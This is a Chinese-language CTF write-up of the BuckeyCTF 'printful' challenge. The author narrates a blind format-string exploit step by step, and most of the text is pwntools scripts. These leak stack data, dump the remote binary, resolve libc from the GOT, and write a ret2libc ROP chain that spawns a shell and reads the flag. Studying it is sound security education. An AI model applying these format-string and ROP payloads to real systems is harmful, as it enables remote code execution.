BuckeyCTF - printful
这一题断断续续尝试了1天,从泄漏栈指针、任意位置读写,到远程dump ELF、泄漏got表、获得libc地址,到最后尝试写入ROP链,实在是非常梦幻() 然而可惜的是在最后一步总是遇到 remote connection closed with EOF的情况。赛后查看大佬们的wp发现和我写的不是同一个return addr. 除了最后一个小节,都会记录我当时的探索过程,因此有些过程可能是错的(笑)
0x01 泄漏栈信息,实现任意位置读写
没有附件,测试发现有格式化字符串溢出漏洞。 先尝试泄漏信息,疯狂发送%p. 
对于上面的数据,如果想知道某个数据位于第几位,可以复制到这里的信息,然后:
1 echo xxx | wc来查看
编写简单的printf程序调试,发现出现的顺序分别是(rdi已经是格式化字符串,所以从rsi开始) rsi -> rdx -> rcx -> r8 -> r9 -> [rsp] -> [rsp+0x8] -> ….. 因此上面的泄漏中,从第6个开始就是栈上的内容了。而且我们发现[rsp]正是我们输入的格式化字符串存储的开始地址。
测试有没有溢出? 发送极长的代码,发现每次只会读取255个字符左右,多余的字符留在缓冲区自动供下次读取,猜测可能程序是使用fgets读取的。
如何确定当前函数的栈帧有多长?以及如何寻找返回地址? 如果不使用枚举的方法,就应该思考关键的数据特征。我突然想到
canary应该能够胜任这个任务,其中有一个字节固定为0x00,剩余的7字节比较“无规则”,不像地址数据/栈数据是0x7fffxxx或者0x55xxx的形式。
其中0xf29e58510ea79100疑似canary, 尝试在其后面寻找ret addr
1
0xf29e58510ea79100 0x7ffc0a7207a0 0x559ece6e42de (nil) 0x7f6a843f2083 0x200000001
后面的0x7ffc0a7207a0在栈上,而0x559ece6e42de看上去比较像code段的地址。
目前的情报还是不够,如果想要利用格式化字符串的漏洞,就要获得rsp的值。能否让程序崩溃,输出某些有用的信息?然而并没有成功。 从另一个角度思考,自己目前能够利用的和“栈”相关的信息有哪些?现在栈上有很多指向栈上数据的指针,或许能够用
%n来向某个地址写入数据,然后尝试在dump中的数据中寻找,一旦找到了我们写入的数据,就能够确定rsp的地址!
首先尝试的是疑似rbp的地址:
1
2
3
4
5
6
7
from pwn import *
x = remote('printful.challs.pwnoh.io', 1337, ssl=True)
# payload = (100*'%p ').encode()
payload = (39 * '%p ' + '%n' + 60 * '%p ').encode()
x.sendline(payload)
x.interactive()
惊喜地发现在ret addr后面的(nil)部分的数据变成了一个数字,因此只需要rbp-0x8即可指向返回值。
0x02 尝试写入shellcode
第一版:尝试写入shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from sre_compile import dis
from pwn import *
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
def display():
payload0 = (50*'%p ').encode()
p.sendline(payload0)
ret = p.recvuntil( '> ')
print(ret)
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode() # remove the '>' at end
display()
pushed_ebp = int(ret1.split()[39], 16)
#
shellcode_addr = pushed_ebp - 16*0x8
print(hex(shellcode_addr))
# shellcode_lo_addr = shellcode_addr & 0xffffffff
# shellcode_hi_addr = (shellcode_addr >> 32) & 0xffffffff
# print(hex(shellcode_lo_addr), hex(shellcode_hi_addr))
def modify_byte(addr, int_val):
# construct the pointer to target addr
ptr_payload = b'A' * 160 + p64(addr)
p.sendline(ptr_payload)
p.recvuntil(b'> ')
display()
# modify value
p.sendline(b'%26$p')
x = p.recvuntil(b'> ')
print(x)
val_payload = ('%'+str(int_val)+'d%26$n').encode()
# val_payload = 'abc%26$n'.encode()
print(val_payload)
p.sendline(val_payload)
p.interactive()
p.recv()
display()
# buffer + 160 is the pointer
ret_ptr_addr = pushed_ebp - 0x8 # try to construct such value
modify_byte(ret_ptr_addr , shellcode_addr & 0xff)
display()
modify_byte(ret_ptr_addr + 1, (shellcode_addr >> 8) & 0xff)
modify_byte(ret_ptr_addr + 2, (shellcode_addr >> 16) & 0xff)
modify_byte(ret_ptr_addr + 3, (shellcode_addr >> 24) & 0xff)
modify_byte(ret_ptr_addr + 4, (shellcode_addr >> 32) & 0xffffffff)
# write the shellcode
context.arch = 'i386'
context.os = 'linux'
asm_src = shellcraft.sh()
shellcode = asm(asm_src)
payload6 = b'A'*160 + shellcode
# trigger shell
p.sendline(b'q')
p.interactive()
然而失败了. 经过更多的调试发现:只要修改ret addr的任意一个字节,程序都会崩溃。说明程序每次读取一行数据都会返回!这可麻烦了,我们只能一次性全部写好。
但是这个问题很容易想到解决的方法:既然必须一次性写完,那就必须对输入的数据进行排序,然后按照从小到大的顺序写入,在期间填入特定大小的字符数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from operator import add
from sre_compile import dis
from pwn import *
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
def display():
payload0 = (35*'%p ').encode()
p.sendline(payload0)
ret = p.recvuntil( '> ')
print(ret)
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode() # remove the '>' at end
print(ret1)
display()
pushed_ebp = int(ret1.split()[39], 16)
# ret_addr = int(ret1.split()[40], 16)
shellcode_addr = pushed_ebp - 16*0x8 # point to frame 20
p1 = shellcode_addr & 0xffff
p2 = (shellcode_addr >> 16) & 0xffff
p3 = (shellcode_addr >> 32) & 0xffff # first 2 bytes of address is null
print(hex(shellcode_addr))
print(hex(p1), hex(p2), hex(p3))
# (offset, val)
data = [(0, p1), (2, p2), (4, p3) ]
sorted_data = sorted(data, key=lambda x : x[1])
# shellcode_lo_addr = shellcode_addr & 0xffffffff
# shellcode_hi_addr = (shellcode_addr >> 32) & 0xffffffff
# print(hex(shellcode_lo_addr), hex(shellcode_hi_addr))
def modify_byte(addr1, addr2, addr3, val1, val2, val3):
# construct the pointer to target addr
ptr_payload = b'A' * 120 + p64(addr1) + p64(addr2) + p64(addr3)
p.sendline(ptr_payload)
p.recvuntil(b'> ')
display()
print('set ptr done')
# modify value
val_payload = f'%{val1}d%21$hn%{val2}d%22$hn%{val3}d%23$hn'.encode()
print(val_payload)
# p.sendline(val_payload)
p.interactive()
m = p.recvuntil(b'> ')[:-2]
print(m.hex())
# display()
# buffer + 160 is the pointer
ret_ptr_addr = pushed_ebp - 0x8 # try to construct such value
# modify_byte(ret_ptr_addr + 2, (shellcode_addr >> 16) & 0xff)
# modify_byte(ret_ptr_addr + 3, (shellcode_addr >> 24) & 0xff)
# modify_byte(ret_ptr_addr + 4, (shellcode_addr >> 32) & 0xffffffff)
# write the shellcode
context.arch = 'amd64'
context.os = 'linux'
custom_asm = '''
push 0x64636261
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 4
syscall
'''
shellcode = asm(custom_asm)
print(shellcode.hex())
asm_src = shellcraft.sh()
# shellcode = asm(asm_src)
payload6 = b'A'*160 + shellcode
p.sendline(payload6)
p.recvuntil(b'> ')
display()
print('modifying address...')
addr = [ (sorted_data[i][0]+ret_ptr_addr) for i in range(3)]
val = [ sorted_data[0][1] if i==0 else sorted_data[i][1]-sorted_data[i-1][1] for i in range(3)]
print(addr)
print(val)
modify_byte(addr[0], addr[1], addr[2], val[0], val[1], val[2])
p.interactive()
然而还是不行,我开始怀疑有NX保护,开了个ticket问下主办方,确实如此。那么接下来,试试ret2libc吧!
0x03 dump ELF, 泄漏got表,获得libc地址,尝试got表劫持
要如何获得libc地址?能不能利用已有的栈上数据泄漏?
首先要做的是:从栈上挑出那些长得“像”libc函数地址的数据
1
2
3
0x557005fd5010 像code段
0x7f2a261706a0 像libc指针
0x7ffd23b9d4e8 像stack指针
然而,这样还是极大的盲目性。而且可能有很多数据污染,感觉无从下手。
后来,一位pwn大佬告诉我:可以尝试把程序dump下来,泄漏got表。 我的第一反应是:哈?还有这种操作?但仔细想想,以目前的成果,技术上完全可行。唯一可能的问题或许就是时间问题,或者猝不及防的连接中断吧!
- 尝试用
%s泄漏任意位置数据,如果结果为空,就证明这个位置是\x00, 否则就按照返回的数据长度来增长指针。 - 开头怎么确定?程序有PIE, 但是既然知道了栈上的返回地址,那么按照code段到ELF头所在段的距离估算,如果读取的位置太过靠前,会直接EOF; 这样通过二分法很快能够确定起始地址(但赛后发现有更好的方法:利用对齐的特性,比如ret addr是
0x557005fd42de的话,基本可以直接断言开头位于0x557005fd3000) - 要读取多长?我选择了64KB, 不过事实上根本用不到这么多
胡乱搓了一版,结果——确实很慢,高达2分钟100B的速度。而且下载到有些位置会断开连接,改进了一下,支持断点重传。再加上多进程分段下载的功能,最终版本是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# dump.py
from pwn import *
import sys
custom_timeout = 10
part_size = int(sys.argv[1])
part_index = int(sys.argv[2])
def start_process():
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode() # remove the '>' at end
# print(ret1)
# display()
pushed_ebp = int(ret1.split()[39], 16)
ret_addr = int(ret1.split()[40], 16)
# ret_addr = int(ret1.split()[40], 16)
return p, ret_addr
def display(p):
payload0 = (35*'%p ').encode()
p.sendline(payload0)
ret = p.recvuntil(b'> ')
print(ret)
def leak(p, addr):
payload1 = b'A'*160 + p64(addr)
p.sendline(payload1)
p.recvuntil(b'> ')
payload2 = b"%26$s"
p.sendline(payload2)
msg = p.recvuntil(b'> ')[:-3]
return msg
count = 0
tmp = b''
no_proc = True
targt_addr = 0
p = 0
while count <= part_size:
if no_proc:
p, ret_addr = start_process()
targt_addr = ret_addr - 0x12de + part_size * part_index + count
no_proc = False
print(f'-------------------------------------leaking --{hex(targt_addr)}--, current size {hex(count)} B')
try:
result = leak(p, targt_addr)
except:
no_proc = True
continue
print(result)
data_len = len(result)
if(data_len > 0):
targt_addr += data_len
count += data_len
tmp += result
else:
targt_addr += 1
count += 1
tmp += b'\x00'
with open(f'./store/dump.elf{part_index}', 'wb') as f:
f.write(tmp)
1
2
3
4
5
6
7
8
9
10
11
12
13
# download.py
import subprocess
import multiprocessing
def run_part(size, index):
cmd = ["python", "dump.py", str(size), str(index)]
print(f"launch: {size}-{index} ")
subprocess.run(cmd)
parts = [ (1024, i) for i in range(2051, 2053)]
with multiprocessing.Pool(processes=2) as pool:
pool.starmap(run_part, parts)
然后开始下载,果然快多了! 出去吃了个饭,回来再看发现还在跑,但是马上发现了不对劲——一直在重连,意味着读取一直失败。然而终端下试了下发现IP好像没有被封,随机发现了,以0x400为一个页面单位,只下载成功了前20页!
如果按照 start=0x400000 和 data=0x600000来计算,远远无法到达got的位置。算了,那就看看扒下来的数据段吧。
合并了后发现好像没啥用,ida中有大量出错的位置,可能还得修复相关字段的长度?太麻烦了
1
2
3
4
5
6
7
8
9
10
11
12
13
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf0
00000000: 7f45 4c46 0201 0100 0000 e0e7 ed6d 0000 .ELF.........m..
00000010: 0300 3e00 0100 0000 0011 0000 0000 0000 ..>.............
00000020: 4000 0000 0000 0000 d83a 0000 0000 0000 @........:......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
......
00000300: 7002 0000 0000 0000 7002 733e 3e39 0000 p.......p.s>>9..
00000310: 0100 0000 0000 0000 2f6c 6962 3634 2f6c ......../lib64/l
00000320: 642d 6c69 6e75 782d 7838 362d 3634 2e73 d-linux-x86-64.s
00000330: 6f2e 3200 0000 0000 0400 0000 1000 0000 o.2.............
......
ELF开头,不错。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf1
......
00000110: 2040 0000 0000 0000 0800 0000 0000 0000 @..............
00000120: 006c 6962 632e 736f 2e36 0070 7574 7300 .libc.so.6.puts.
00000130: 5f5f 7374 6163 6b5f 6368 6b5f 6661 696c __stack_chk_fail
00000140: 0073 7464 696e 0070 7269 6e74 6600 6667 .stdin.printf.fg
00000150: 6574 7300 7374 646f 7574 005f 5f63 7861 ets.stdout.__cxa
00000160: 5f66 696e 616c 697a 6500 7365 7476 6275 _finalize.setvbu
00000170: 6600 7374 7263 6d70 005f 5f6c 6962 635f f.strcmp.__libc_
00000180: 7374 6172 745f 6d61 696e 0047 4c49 4243 start_main.GLIBC
00000190: 5f32 2e34 0047 4c49 4243 5f32 2e32 2e35 _2.4.GLIBC_2.2.5
000001a0: 005f 4954 4d5f 6465 7265 6769 7374 6572 ._ITM_deregister
000001b0: 544d 436c 6f6e 6554 6162 6c65 005f 5f67 TMCloneTable.__g
000001c0: 6d6f 6e5f 7374 6172 745f 5f00 5f49 544d mon_start__._ITM
000001d0: 5f72 6567 6973 7465 7254 4d43 6c6f 6e65 _registerTMClone
000001e0: 5461 626c 6500 0000 0000 0200 0300 0200 Table...........
000001f0: 0200 0200 0200 0000 0200 0000 0200 0200 ................
......
这里揭示了用到的函数,比较重要的有printf fgets puts strcmp等。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf15
......
000002c0: 0800 0000 0000 0000 f000 0000 0000 0000 ................
000002d0: 0900 0000 0000 0000 1800 0000 0000 0000 ................
000002e0: 1e00 0000 0000 0000 0800 0000 0000 0000 ................
000002f0: fbff ff6f 0000 0000 0100 0008 0000 0000 ...o............
00000300: feff ff6f 0000 0000 0806 dfb0 2641 0000 ...o........&A..
00000310: ffff ff6f 0000 0000 0100 0000 0000 0000 ...o............
00000320: f0ff ff6f 0000 0000 e695 72f9 3456 0000 ...o......r.4V..
00000330: f9ff ff6f 0000 0000 0300 0000 0000 0000 ...o............
00000340: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000350: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000360: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000370: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000380: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000390: a03d 0000 0000 0000 0000 0000 0000 0000 .=..............
000003a0: 0000 0000 0000 0000 20f4 d950 2c7f 0000 ........ ..P,...
000003b0: 90ac e450 2c7f 0000 90cc d750 2c7f 0000 ...P,......P,...
000003c0: 30d6 d950 2c7f 0000 f0ed e950 2c7f 0000 0..P,......P,...
000003d0: e0fc d950 2c7f 0000 0000 0000 0000 0000 ...P,...........
000003e0: 90ef d350 2c7f 0000 0000 0000 0000 0000 ...P,...........
000003f0: 0000 0000 0000 0000 101f d650 2c7f 0000 ...........P,...
......
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf16
00000000: 0000 0000 0000 0000 08f0 d568 6a55 0000 ...........hjU..
00000010: a086 65b7 127f 0000 0000 0000 0000 0000 ..e.............
00000020: 8079 65b7 127f 0000 0000 0000 0000 0000 .ye.............
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
......
这里疑似出现了got表,这种“失而复得”的感觉让我十分惊喜,接下来我用了一种愚笨的方法来比较查找libc: 首先用当前版本的libc查看fgets和printf的相对位置,然后在满足大小的情况下,一个一个排查,终于: 
那么libc也很容易计算出了!
接下来尝试劫持got表:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
libc_elf = ELF('./libc6_2.32.so')
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode() # remove the '>' at end
pushed_ebp = int(ret1.split()[39], 16)
ret_addr = int(ret1.split()[40], 16)
ret_ptr_addr = pushed_ebp - 0x8 # try to construct such value
def modify_byte(addr1, addr2, addr3, val1, val2, val3):
# construct the pointer to target addr
print(addr1, addr2, addr3)
ptr_payload = b'A' * 120 + p64(addr1) + p64(addr2) + p64(addr3)
p.sendline(ptr_payload)
p.recvuntil(b'> ')
print('set ptr done')
# modify value
val_payload = f'%{val1}d%21$hn%{val2}d%22$hn%{val3}d%23$hn'.encode()
print(val_payload)
# p.sendline(val_payload)
p.interactive()
m = p.recvuntil(b'> ')[:-2]
print(m.hex())
def leak(addr):
payload1 = b'A'*160 + p64(addr)
p.sendline(payload1)
p.recvuntil(b'> ')
payload2 = b"%26$s"
p.sendline(payload2)
msg = p.recvuntil(b'> ')[:-3]
return msg
target_addr = ret_addr - 0x12de
printf_got_addr = target_addr + 0x3fb8
msg = leak(printf_got_addr)
printf_real_addr = u64(msg + b'\x00'*(8-len(msg)))
libc_base = printf_real_addr - libc_elf.symbols['printf']
libc_elf.address = libc_base
system_real_addr = libc_elf.symbols['system']
print(hex(system_real_addr))
p1 = system_real_addr & 0xffff
p2 = (system_real_addr >> 16) & 0xffff
p3 = (system_real_addr >> 32) & 0xffff # first 2 bytes of address is null
# (offset, val)
data = [(0, p1), (2, p2), (4, p3) ]
sorted_data = sorted(data, key=lambda x : x[1])
addr = [ (sorted_data[i][0]+printf_got_addr) for i in range(3)]
val = [ sorted_data[0][1] if i==0 else sorted_data[i][1]-sorted_data[i-1][1] for i in range(3)]
modify_byte(addr[0], addr[1], addr[2], val[0], val[1], val[2])
然而还是失败了,怀疑有relro保护,无法写入got表
0x04 尝试手动构造ROP链
既然已经能利用libc了,那么gadget自然是数不胜数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
libc_elf = ELF('./libc6_2.32.so')
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode() # remove the '>' at end
pushed_ebp = int(ret1.split()[39], 16)
ret_addr = int(ret1.split()[40], 16)
ret_ptr_addr = pushed_ebp + 0x8 # try to construct such value
def modify_byte(addr1, addr2, addr3, val1, val2, val3):
# construct the pointer to target addr
print(addr1, addr2, addr3)
ptr_payload = b'A' * 120 + p64(addr1) + p64(addr2) + p64(addr3)
p.sendline(ptr_payload)
p.recvuntil(b'> ')
print('set ptr done')
# modify value
val_payload = f'%{val1}d%21$hn%{val2}d%22$hn%{val3}d%23$hn'.encode()
print(val_payload)
# p.sendline(val_payload)
p.interactive()
m = p.recvuntil(b'> ')[:-2]
print(m.hex())
def leak(addr):
payload1 = b'A'*160 + p64(addr)
p.sendline(payload1)
p.recvuntil(b'> ')
payload2 = b"%26$s"
p.sendline(payload2)
msg = p.recvuntil(b'> ')[:-3]
return msg
target_addr = ret_addr - 0x12de
printf_got_addr = target_addr + 0x3fb8
msg = leak(printf_got_addr)
printf_real_addr = u64(msg + b'\x00'*(8-len(msg)))
libc_base = printf_real_addr - libc_elf.symbols['printf']
libc_elf.address = libc_base
print(hex(libc_base))
pop_rdi_addr = 0x23b6a + libc_base
system_real_addr = libc_elf.symbols['system']
# print(hex(system_real_addr))
# print(hex(pop_rdi_addr))
# write /bin/sh
sh_addr = pushed_ebp - 0x8 * 6
bin_payload =b'A'*240 + '/bin/sh\x00'.encode()
p.sendline(bin_payload)
key_bytes = p64(pop_rdi_addr) + p64(sh_addr) + p64(system_real_addr)
data_list = []
for i in range(12):
data_list.append((i, int.from_bytes(key_bytes[2*i : 2*(i+1)])))
# (offset, val)
sorted_data = sorted(data_list, key=lambda x : x[1])
# write addr
addr_payload = b'A'*136
for i in range(12):
addr_payload += p64(ret_ptr_addr + 2*i)
p.sendline(addr_payload)
#
modify_payload = f'%{sorted_data[0][0]+23}$hn'
print(sorted_data)
for i in range(1,12):
delta = sorted_data[i][1] - sorted_data[i-1][1]
assert(delta >= 0)
if delta == 0:
modify_payload += f'%{sorted_data[i][0]+23}$hn'
else:
modify_payload += f'%{delta}d%{sorted_data[i][0]+23}$hn'
modify_payload = modify_payload.encode()
print(modify_payload)
p.interactive()
addr = [ (sorted_data[i][0]+printf_got_addr) for i in range(3)]
val = [ sorted_data[0][1] if i==0 else sorted_data[i][1]-sorted_data[i-1][1] for i in range(3)]
modify_byte(addr[0], addr[1], addr[2], val[0], val[1], val[2])
只不过这次需要连续写入3个地址,分12次写入,进行排序。
然而还是失败了!
0x05 write up
赛后看大佬的脚本,发现修改的返回地址不是 0x55xxx, 而是从这里开始+0x10 位置的地址!这个地址不会每次都返回,可以多次写入。
[TODO] 这到底对应哪个函数?能不能dump出来?不过看范围是一个lib函数
[TODO] 返回地址有多层,可以找“更深”的,实在不行还可以遍历攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import struct
from pwn import *
context.arch = "amd64"
context.log_level = "info"
chal = remote("printful.challs.pwnoh.io", 1337, ssl=True)
def wait_til_prompt():
return chal.recvuntil(b"> ")
def dump_address(address, format="p"):
leak_part = f"|%24${format}|EOF_prnt".encode()
out = leak_part.ljust(136, b"A") + b"EOF_prnt" + struct.pack("Q", address)
chal.sendline(out)
return chal.recvuntil(b"EOF_prnt")[: -len(b"EOF_prnt")].split(b"|")[1]
def leak_position(position, format="p"):
chal.sendline(f"%{position}${format}EOF_prnt".encode())
return chal.recvuntil(b"EOF_prnt")[: -len(b"EOF_prnt")]
def get_image_base():
base = int(leak_position(34), 16) & ~0xFFF
return base - 0x2000
# ========== STAGE 1: LEAK ADDRESSES ==========
log.info("Stage 1: Leaking addresses...")
wait_til_prompt()
image_base = get_image_base()
wait_til_prompt()
printf_got = struct.unpack(
"Q", dump_address(image_base + 0x3FB8, "s").ljust(8, b"\x00")
)[0]
libc_base = printf_got - 0x061C90
pop_rdi = libc_base + 0x23B6A
binsh = libc_base + 0x1B45BD
system = libc_base + 0x52290
ret_gadget = libc_base + 0x22679
log.success(f"Image base: {image_base:#x}")
log.success(f"Libc base: {libc_base:#x}")
log.success(f"system(): {system:#x}")
wait_til_prompt()
stack_4 = int(leak_position(4, "p"), 16)
ret_addr_loc = stack_4 + ((41 - 4) * 8)
log.success(f"Return address at: {ret_addr_loc:#x}")
log.info("Stage 2: Writing ROP chain to stack...")
rop_chain = [
ret_gadget,
pop_rdi, # pop rdi; ret
binsh, # "/bin/sh"
system, # system()
]
# Write each qword of the ROP chain
for i, gadget in enumerate(rop_chain):
log.info(f" Writing gadget {i + 1}/4: {gadget:#x}")
# Write gadget byte-by-byte
for byte_idx in range(8):
byte_val = (gadget >> (byte_idx * 8)) & 0xFF
target = ret_addr_loc + (i * 8) + byte_idx
if byte_val == 0:
fmt = b"%256c%23$hhn"
else:
fmt = f"%{byte_val}c%23$hhn".encode()
payload = fmt + (b"A" * (136 - len(fmt))) + struct.pack("Q", target)
wait_til_prompt()
chal.sendline(payload)
log.info("Stage 3: Triggering exploit...")
wait_til_prompt()
chal.sendline(b"q")
sleep(0.5)
chal.sendline(b"cat flag.txt")
sleep(0.5)
flag = chal.recvall(timeout=3)
log.success(f"{flag}")